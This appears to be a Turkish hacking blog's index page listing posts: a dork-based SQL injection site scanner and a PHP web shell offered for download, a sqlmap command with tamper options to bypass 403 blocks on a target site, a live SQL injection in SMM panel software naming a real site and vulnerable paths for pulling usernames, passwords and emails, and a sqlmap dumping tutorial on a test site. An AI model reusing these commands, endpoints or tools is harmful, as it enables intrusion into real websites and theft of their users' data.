SQLİ-DM SQL DEFİCİT SCANNER

SQLİ-DM SQL DEFİCİT SCANNER

SQLİ-DM Google Üzerinden Güncel Zafiyetli Siteleri Dorklar Doğrultusunda Çıkartır İçerisinde Premium Kullanıcılara Özel Checker Gibi Özellikler Bulunmaktadır. Ücretsiz Versiyonunda Bu Özelliğini Premium Almadan Kullanamamaktasınız. Hızlı Şekilde En Güncel Sitelerde Tarama Yapmak İçin En İdeal Programlardan Birisi Diyebiliriz.

DOWNLOAD

Read More

[16GB] Dev Hacker Eğitim Seti

Dev Hacker Eğitim Seti

Bir Çok Hack Kategorisini İçerisinde Bulunduran ve En Detaylı Şekilde Anlatımlar ve Örneklemelerle Sizlere Bir Çok Hack Kategorisi Alanında Anlatımlar Sunan Dev Hacker Eğitim Seti Toplamda 16 GB Dosya Büyüklüğündedir İçerisinde Network ve Web Sitesi Güvenliği ve Zafiyetleri Açısından Bir Çok Eğitim Videosu Mevcuttur. 

Eğitim Seti

Aşağıdaki DOWNLOAD Butonuna Tıklayarak İndirme Linkine Gidebilirsiniz!

DOWNLOAD

Read More

Decode : Best Web Sites

Decode : Best Web Sites

Merhabalar Sevgili Hackerhub Takipçileri Sizlere ("Base64,FOPO,Zeura,PHP,Hex") Gibi Şifreleri Decode Etmenize Yarayacak En İyi 2 Siteden Bahsedeceğim. Manuel Olarakta Bu Şifreler Kırılabiliyor Ancak Biz Sizlere Basit Olan Yoluyla Tek Tıklama İle Decode Edilebileceğiniz Siteleri İlk Önce Göstermek İstedik İlerleyen Zamanlarda Linux Terminal Üzerinden Manuel Base64 Decode Etmeyi Blog Adresimiz  Üzerinden Detaylı Bir Anlatımla Paylaşacağız.

En Basit Base64 Decode

Erenet Üzerinden En Basit Şekilde Base64 Oluşturabilir veya Elinizdeki Base64 Satırını Basitçe Decode Edebilirsiniz Base64 Kodlaması Basit Halinde Olması Gereklidir Detaylı Bir Şifrelemeyse Decode Etmeniz İmkansızlaşır.

En Kaliteli Decoder

Unphp.net Sizler İçin Elinizdeki PHP Şifreleme Türünü Algılar ve Daha Önceki Aratmalarda Eğer Encode Edilmişse Size Encode Hâlini Sunacaktır. Eğer Mevcut Değilsede Aynı Şekilde Site Üzerinde Mevcut Şifrelenme Türünün Encode Sistemi Bulunuyorsa Orjinal Kodlamasını Size Sunacaktır.

En Pratik Decoder

Eğer Elinizdeki Mevcut Scriptler FOPO,Zeura,General PHP,Base64 Tarzı Şifrelemeler İle Şifrelendiyse Site Üzerindeki Şifrelenme Türüne Göre Elinizdeki Şifrelenmiş Satır Komutunu Belirttiğinizde Size Orjinal Kodlamasını Sunacaktır.

Read More

SQLMAP : 403 FORBIDDEN PASS

SQLMAP :  403 FORBIDDEN PASS

Merhaba Sevgili Hackerhub Takipçileri Bir Çok Sitede 403 FORBIDDAN Kritik Hatası Alıyoruz Bir Çoğumuz Pes Ediyor Bir Çoğumuzda Araştırarak Doğru Komutlar Doğrultusunda Hedef Sitedeki Amacına Ulaşıyor.

SQLMAP Üzerinden 403 FORBIDDEN Geçmek İçin Aşağıdaki Size Verdiğimiz Komutları Girerseniz %75 Aldığınız Hatayı Çözmeye Yarayacaktır Tekrar Hatalar Alırsanız Farklı Komutlarda Hedef Sitenize Göre Kendiniz Düzenleyebilirsiniz.

sqlmap.py -u www.site.com/?parameter=1 --random-agent --threads=5 --risk=3 --level=5 --invalid-string --invalid-logical --invalid-bignum --tamper=between,informationschemacomment,charencode,bluecoat --force-ssl -v2 --parse-errors --current-db --dbs

Komut Satırına "--batch" Gibi Komutları Eklememeniz Tavsiyemizdir Aksi Takdirde Sizlere Sıkıntı Çıkartacaktır Manuel Olarak SQLMAP Üzerinde Karşınıza Gelen Sorulara Soruların Gereğince Manuel Seçimler Yapmanız Daha Faydalı Olacaktır.

Read More

RC-SHELL V2

RC-SHELL V2

RC-SHELL V2 Shell 2011 Yılında Yapılmıştır. Kullanımı Basittir İçerisinde;

("SQLManager,Upload,Eval,Cmd Execution,FTP Crack,Sysem İnfo,Mail Sender") Gibi Özellikler Mevcut Eski Bir Shell'e Nezareten Gayet Hoş Aynı Zamanda Görünümsel Olarakta Kullanışlı Bir Shell Diyebiliriz Umarım Siz Değerli Takipçilerimizin İşine Yarar!

DOWNLOAD

Read More

[NEW] SMMPANEL SQL DEFİCİT

 [NEW] SMMPANEL SQL DEFİCİT

Merhaba Sevgili Hackerhubb Takipçileri Bir Çok SMMPANEL'de Mevcut Bulunan Güncel Bir Açığı Bugün Sizlere Sunacağım Kısa Bir Zaman Önce İcomsiuM ~ Monzera Kod Adlı Defacerler Tarafından Tespit Edilen Güncel Açıklar Bir Çok SMMPANEL'inde Mevcut Kolaycada Çekilebiliyor. İşte Güvenlik Açığının Detayları;

Açığı Kendi Gözünüz İle Görmeniz İçin Örnek Bir Site Olarak smmdata.net Adresini Kullanacağız.

İlk Öncelikle Hedef Sitemize Üye Oluyoruz Olduktan Daha Sonra Aşağıda Size Verdiğim Bölümlerin Olup Olmadığını Deneyiniz

/orders/all/1?search=

/tamamlandi/?siparis-kodu=

/admin/tickets?search=

/orders/partial?search=

smmdata.net Adresindeki Mevcut SQL INJECTION Açığı Bulunan Link: Siparişlerim (smmdata.net)

Mevcut Açığı Kendinizde Görmek İçin Sonuna (') İşareti Koyaraktan Arama Sonucunun Değişip Değişmedigini Görebilirsiniz.

Scriptler Üzerinde Bulunan SQL Güvenlik Zafiyetinden Yararlanarak Nasıl ("User,Pass,Mail") Gibi Verilere Erişebileceğinizi Öğrenmek İçinde Buraya Tıklayınız! Tıkladığınızda Sizi Bu Konu İle İlgili Konumuza Aktaracaktır.

Read More

SQLMAP BASIC CONCEPTS #1

SQLMAP BASIC CONCEPTS

Merhabalar Sevgili CyberrWeb Takipçileri Bir Çok Blog ve Forumda Bu Konu İle Alakalı Bir Çok Yazı Yazıldı Bir Çok Detaylı Kaynakta Bulunmakta CyberrWeb Adresimizde Siz Değerli Takipçilerimiz İçinde Bir Anlatımda Biz Gerçekleştirmek İstedik!

SQLMAP Geniş Bir Yapıya Sahiptir İçerisinde Bir Çok Komut Bulundurmaktadır. Bu Komutlara Ulaşmak İçin SQLMAP Üzerinden "sqlmap.py -h" Daha Detaylı Bir Anlatım İçinse "sqlmap.py -hh"

Komutunu Kullanabilirsiniz.

İlk Öncelikle SQL Denemelerimizi testphp.vulnweb.com Üzerinden Gerçekleştireceğiz Sizler Kendi Elinizde SQL Injection Açıklı Olduğuna Emin Olduğunuz Siteler Varsa Onu Kullanabilirsiniz.

Hedef Sitemizi Belirtmek İçin "-u" veya "--url" Parametresini Kullanıyoruz.

sqlmap.py -u testphp.vulnweb.com

sqlmap.py --url testphp.vulnweb.com

 

Belirledeğimiz Hedef Sitede SQL İnjection Zafiyeti Mevcutsa "--dbs" Parametresi İle Mevcut Veri Tabanlarını Çekebiliriz.

sqlmap.py -u testphp.vulnweb.com/search.php?test=query --dbs

Gördüğünüz Gibi Veri Tabanlarını Görmeyi Başardık Şimdi Bu Tabanları Aşağıdaki Size Gösterdiğimiz Şekilde "--dbs" Parametresini Kısaltarak "-D" Parametresini Kullanarak Veri Tabanını Belirtiyoruz Daha Sonra Veri Tabanlarını Çekmek İçin "-D" Parametresinin Sonuna Yukarda Size Verdiğimiz Görsel'deki Databases Bölümünde [*] acuart , [*] information_schema Bu Veri Tabanlarından Hangisi Hedef Veri Tabanınız ise Onu Seçebilirsiniz

sqlmap.py -u testphp.vulnweb.com/search.php?test=query -D acuart,information_schema --tables

 

Daha Sonrasında ise "--tables" Parametresini Kısaltarak "-T" Yapıyor ve Çekmek İstediğiniz Tablo İsimlerini Yerleştiriyorsunuz Adı Belirtilen Kolonları Getirmesi İçinde En Sonuna "--columns" Parametresini Getiriyoruz.

sqlmap.py -u testphp.vulnweb.com/search.php?test=query -D acuart -T artists,carts --columns

 

Her Yeni İşlemimizde Kısalttığımız Gibi "--columns" Parametresinide "-C" Olarak Kısaltıyoruz Daha Sonrasında Çekmek İstediğimiz Kolonları Yazıyoruz Yazdıktan Sonra ise --dump Diyerek Datayı Çekiyoruz.

Ek Bilgi: Bütün Kolonları Dumpları Çekmek İçin "--dump-all" Parametresinide Kullanabilirsiniz.

sqlmap.py -u testphp.vulnweb.com/search.php?test=query -D acuart -T artists,carts -C cart_id,item,price,adesc,aname,artist?id --dump

Biz Size Gösterme Amaçlı Bir Test Sitesi Üzerinden Gösterdiğimiz İçin Veri Tabanı Boş Gösteriyor Eğer Normal Bir Site Olsaydı Bu Kısımlarda İstediğimiz Bilgiler Mevcut Olacaktı SQLMAP Öğrenmek İçin Bol Bol Denemeler Yapmanız Gerekiyor ve Aynı Zamandada Araştırmalar Bir Çok SQL İnjection Zafiyeti İle Alakalı Konu Blogumuzda Mevcut O Konularada Göz Atmak İçin Tıklayın!

Read More